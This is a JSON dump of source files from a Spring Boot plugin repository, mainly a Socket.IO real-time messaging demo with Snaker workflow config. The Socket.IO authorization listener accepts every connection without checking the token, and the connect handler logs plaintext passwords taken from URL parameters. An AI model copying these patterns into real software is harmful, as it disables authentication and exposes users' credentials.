/>\n\t\t\t<tx:method name=\"remove*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"assign*\" propagation=\"REQUIRED\" /> \n\t\t\t<tx:method name=\"create*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"complete*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"finish*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"terminate*\" propagation=\"REQUIRED\" /> \n\t\t\t<tx:method name=\"take*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"deploy*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"undeploy*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"redeploy*\" propagation=\"REQUIRED\" />\n\t\t\t\n \t\t\t<tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\" />\n\t\t\t<tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\" />\n\t\t\t<tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\" />\n\t\t\t<tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\" />\n\t\t\t<tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\" />\n\t\t\t<tx:method name=\"*\" propagation=\"REQUIRED\" />\n\t\t</tx:attributes>\n\t</tx:advice>\n\t<!-- or execution(* org.snaker.framework.flow.service..*.*(..))\n\n\t -->\n\t<aop:config>\n\t\t<!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n\t\tor execution(* com.snakerflow.framework.*.service..*.*(..))-->\n\t\t<aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n\t</aop:config>\n\t<aop:aspectj-autoproxy proxy-target-class=\"true\" />\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/temp/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n<!--\n    &lt;!&ndash; 环境, 就是配置数据库访问环境的标签.\n    default - 默认使用什么环境\n    &ndash;&gt;\n    <environments default=\"development\">\n        &lt;!&ndash; 配置具体的某一个环境\n        id - 当前环境的命名\n        &ndash;&gt;\n        <environment id=\"development\">\n            &lt;!&ndash; 事务管理方式, 当前框架管理数据库事务使用什么技术.\n            type - 使用的具体技术. JDBC, 就是Connection.commit()/rollback()\n            &ndash;&gt;\n            <transactionManager type=\"JDBC\" />\n            &lt;!&ndash; 数据源, 访问的数据库参数\n            type - 管理方式, 管理Connection的方式,\n            POOLED , 代表池化管理. 就是连接池.\n            &ndash;&gt;\n            <dataSource type=\"POOLED\">\n                &lt;!&ndash; 配置具体参数 &ndash;&gt;\n                <property name=\"driver\" value=\"com.mysql.jdbc.Driver\" />\n                <property name=\"url\" value=\"jdbc:mysql://localhost:3306/mybatis\" />\n                <property name=\"username\" value=\"root\" />\n                <property name=\"password\" value=\"root\" />\n            </dataSource>\n        </environment>\n    </environments>\n-->\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/temp/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/test/java/com/snakerflow/demo/DemoApplicationTests.java",
    "content": "package com.snakerflow.demo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DemoApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\nswagger.json\nswagger.adoc\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/README.md",
    "content": "\n## 简介\n\n在SpringBoot中有两种实现WebSocket实时通信的方式：\n\n1. 一个是使用WebSocket的一个子协议stomp\n2. 另外一个是使用Socket.IO协议实现。\n\n本项目演示如何通过Socket.IO协议实现\n\n## WeSocket长连接\n\nSocket.IO服务器端和客户端，使用Java语言实现，用于和浏览器或Android客户端进行长连接的WebSocket通信。\n服务器端可以实时将消息推送给客户端，以此来取代客户端轮询机制。\n\nSockt.io官网：<https://socket.io/>\n\n服务器端使用 [netty-socketio](https://github.com/mrniko/netty-socketio)\n\n客户端使用 [socket.io-client-java](https://github.com/socketio/socket.io-client-java)\n\n### WebSocket js客户端测试\n\n```\n/client/html/index.html\n```\n\n### WebSocket Java客户端测试\n\n```\ncom.xncoding.pos.socket.client.SocketClient\n```\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_socketio</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>集成SocketIO实时通信</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <netty.version>4.1.19.Final</netty.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        <!-- netty-socketio-->\n        <dependency>\n            <groupId>com.corundumstudio.socketio</groupId>\n            <artifactId>netty-socketio</artifactId>\n            <version>1.7.13</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-buffer</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-codec</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-codec-http</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-common</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-handler</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-resolver</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport-native-epoll</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport-native-unix-common</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.socket</groupId>\n            <artifactId>socket.io-client</artifactId>\n            <version>1.0.0</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <systemPropertyVariables>\n                        <swaggerOutputDir>${project.basedir}/src/main/resources/swagger</swaggerOutputDir>\n                        <asciiDocOutputDir>${project.basedir}/src/main/resources/swagger/swagger</asciiDocOutputDir>\n                    </systemPropertyVariables>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/Application.java",
    "content": "package com.xncoding.jwt;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/common/JsonConverter.java",
    "content": "package com.xncoding.jwt.common;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.json.JSONArray;\nimport org.json.JSONException;\nimport org.json.JSONObject;\n\nimport java.io.IOException;\n\n/**\n * 对象和Json转换器\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/18\n */\npublic class JsonConverter {\n    public static JSONObject objectToJSONObject(Object object) {\n        try {\n            String jsonString = new ObjectMapper().writeValueAsString(object);\n            return new JSONObject(jsonString);\n        } catch (JSONException | JsonProcessingException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    public static JSONArray objectToJSONArray(Object object) {\n        try {\n            String jsonString = new ObjectMapper().writeValueAsString(object);\n            return new JSONArray(jsonString);\n        } catch (JSONException | JsonProcessingException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    public static <T> T jsonObjectToObject(Object jsonObject, Class<T> clazz) {\n        try {\n            // List<Car> listCar = objectMapper.readValue(jsonCarArray, new TypeReference<List<Car>>(){});\n            return new ObjectMapper().readValue(jsonObject.toString(), clazz);\n        } catch (IOException e) {\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/common/ServerRunner.java",
    "content": "package com.xncoding.jwt.common;\n\nimport com.corundumstudio.socketio.SocketIOServer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.stereotype.Component;\n\n/**\n * SpringBoot启动之后执行\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2017/7/31\n */\n@Component\n@Order(1)\npublic class ServerRunner implements CommandLineRunner {\n    private final SocketIOServer server;\n    private static final Logger logger = LoggerFactory.getLogger(ServerRunner.class);\n\n    @Autowired\n    public ServerRunner(SocketIOServer server) {\n        this.server = server;\n    }\n\n    @Override\n    public void run(String... args) {\n        logger.info(\"ServerRunner 开始启动啦...\");\n        server.start();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/config/NettySocketConfig.java",
    "content": "package com.xncoding.jwt.config;\n\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.SpringAnnotationScanner;\nimport com.xncoding.jwt.config.properties.MyProperties;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.annotation.Resource;\n\n/**\n * NettySocketConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/19\n */\n@Configuration\npublic class NettySocketConfig {\n\n    @Resource\n    private MyProperties myProperties;\n\n    private static final Logger logger = LoggerFactory.getLogger(NettySocketConfig.class);\n\n    @Bean\n    public SocketIOServer socketIOServer() {\n        /*\n         * 创建Socket，并设置监听端口\n         */\n        com.corundumstudio.socketio.Configuration config = new com.corundumstudio.socketio.Configuration();\n        // 设置主机名，默认是0.0.0.0\n        // config.setHostname(\"localhost\");\n        // 设置监听端口\n        config.setPort(myProperties.getSocketPort());\n        // 协议升级超时时间（毫秒），默认10000。HTTP握手升级为ws协议超时时间\n        config.setUpgradeTimeout(10000);\n        // Ping消息间隔（毫秒），默认25000。客户端向服务器发送一条心跳消息间隔\n        config.setPingInterval(myProperties.getPingInterval());\n        // Ping消息超时时间（毫秒），默认60000，这个时间间隔内没有接收到心跳消息就会发送超时事件\n        config.setPingTimeout(myProperties.getPingTimeout());\n        // 握手协议参数使用JWT的Token认证方案\n        config.setAuthorizationListener(data -> {\n            // 可以使用如下代码获取用户密码信息\n            String token = data.getSingleUrlParam(\"token\");\n            return true;\n        });\n        return new SocketIOServer(config);\n    }\n\n    @Bean\n    public SpringAnnotationScanner springAnnotationScanner(SocketIOServer socketServer) {\n        return new SpringAnnotationScanner(socketServer);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/config/properties/MyProperties.java",
    "content": "package com.xncoding.jwt.config.properties;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n\n/**\n * 本项目自定义配置\n *\n * @author xiongneng\n * @since 2018/01/06 21:09\n */\n@Component\n@ConfigurationProperties(prefix = \"xncoding\")\npublic class MyProperties {\n    /**\n     * socket端口\n     */\n    private Integer socketPort;\n    /**\n     * Ping消息间隔（毫秒）\n     */\n    private Integer pingInterval;\n    /**\n     * Ping消息超时时间（毫秒）\n     */\n    private Integer pingTimeout;\n    /**\n     * APK文件访问URL前缀\n     */\n    private String apkUrlPrefix;\n\n    public Integer getSocketPort() {\n        return socketPort;\n    }\n\n    public void setSocketPort(Integer socketPort) {\n        this.socketPort = socketPort;\n    }\n\n    public Integer getPingInterval() {\n        return pingInterval;\n    }\n\n    public void setPingInterval(Integer pingInterval) {\n        this.pingInterval = pingInterval;\n    }\n\n    public Integer getPingTimeout() {\n        return pingTimeout;\n    }\n\n    public void setPingTimeout(Integer pingTimeout) {\n        this.pingTimeout = pingTimeout;\n    }\n\n    public String getApkUrlPrefix() {\n        return apkUrlPrefix;\n    }\n\n    public void setApkUrlPrefix(String apkUrlPrefix) {\n        this.apkUrlPrefix = apkUrlPrefix;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/handler/MessageEventHandler.java",
    "content": "package com.xncoding.jwt.handler;\n\nimport com.corundumstudio.socketio.AckRequest;\nimport com.corundumstudio.socketio.SocketIOClient;\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.OnConnect;\nimport com.corundumstudio.socketio.annotation.OnDisconnect;\nimport com.corundumstudio.socketio.annotation.OnEvent;\nimport com.xncoding.jwt.model.ChatMessage;\nimport com.xncoding.jwt.model.LoginRequest;\nimport io.socket.client.Socket;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\n/**\n * 消息事件处理器\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/19\n */\n@Component\npublic class MessageEventHandler {\n\n    private final SocketIOServer server;\n\n    private static final Logger logger = LoggerFactory.getLogger(MessageEventHandler.class);\n\n    @Autowired\n    public MessageEventHandler(SocketIOServer server) {\n        this.server = server;\n    }\n\n    //添加connect事件，当客户端发起连接时调用\n    @OnConnect\n    public void onConnect(SocketIOClient client) {\n        if (client != null) {\n            String username = client.getHandshakeData().getSingleUrlParam(\"username\");\n            String password = client.getHandshakeData().getSingleUrlParam(\"password\");\n            String sessionId = client.getSessionId().toString();\n            logger.info(\"连接成功, username=\" + username + \", password=\" + password + \", sessionId=\" + sessionId);\n        } else {\n            logger.error(\"客户端为空\");\n        }\n    }\n\n    //添加@OnDisconnect事件，客户端断开连接时调用，刷新客户端信息\n    @OnDisconnect\n    public void onDisconnect(SocketIOClient client) {\n        logger.info(\"客户端断开连接, sessionId=\" + client.getSessionId().toString());\n        client.disconnect();\n    }\n\n    // 消息接收入口\n    @OnEvent(value = \"chatevent\")\n    public void onEvent(SocketIOClient client, AckRequest ackRequest, ChatMessage chat) {\n        logger.info(\"接收到客户端消息\");\n        if (ackRequest.isAckRequested()) {\n            // send ack response with data to client\n            ackRequest.sendAckData(\"服务器回答chatevent, userName=\" + chat.getUserName() + \",message=\" + chat.getMessage());\n        }\n    }\n\n    // 登录接口\n    @OnEvent(value = \"login\")\n    public void onLogin(SocketIOClient client, AckRequest ackRequest, LoginRequest message) {\n        logger.info(\"接收到客户端登录消息\");\n        if (ackRequest.isAckRequested()) {\n            // send ack response with data to client\n            ackRequest.sendAckData(\"服务器回答login\", message.getCode(), message.getBody());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/model/ChatMessage.java",
    "content": "package com.xncoding.jwt.model;\n\n/**\n * ChatMessage\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/30\n */\npublic class ChatMessage {\n    private String userName;\n    private String message;\n\n    public String getUserName() {\n        return userName;\n    }\n\n    public void setUserName(String userName) {\n        this.userName = userName;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/java/com/xncoding/jwt/model/LoginRequest.java",
    "content": "package com.xncoding.jwt.model;\n\nimport java.io.Serializable;\n\n/**\n * LoginRequest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/18\n */\npublic class LoginRequest implements Serializable {\n    private int code;\n    private String body;\n\n    public LoginRequest() {\n    }\n\n    public LoginRequest(int code, String body) {\n        super();\n        this.code = code;\n        this.body = body;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public void setCode(int code) {\n        this.code = code;\n    }\n\n    public String getBody() {\n        return body;\n    }\n\n    public void setBody(String body) {\n        this.body = body;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义项目配置 ###################\nxncoding:\n  socket-port: 9099    #socket端口\n  ping-interval: 60000 #Ping消息间隔（毫秒）\n  ping-timeout: 180000 #Ping消息超时时间（毫秒）\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: 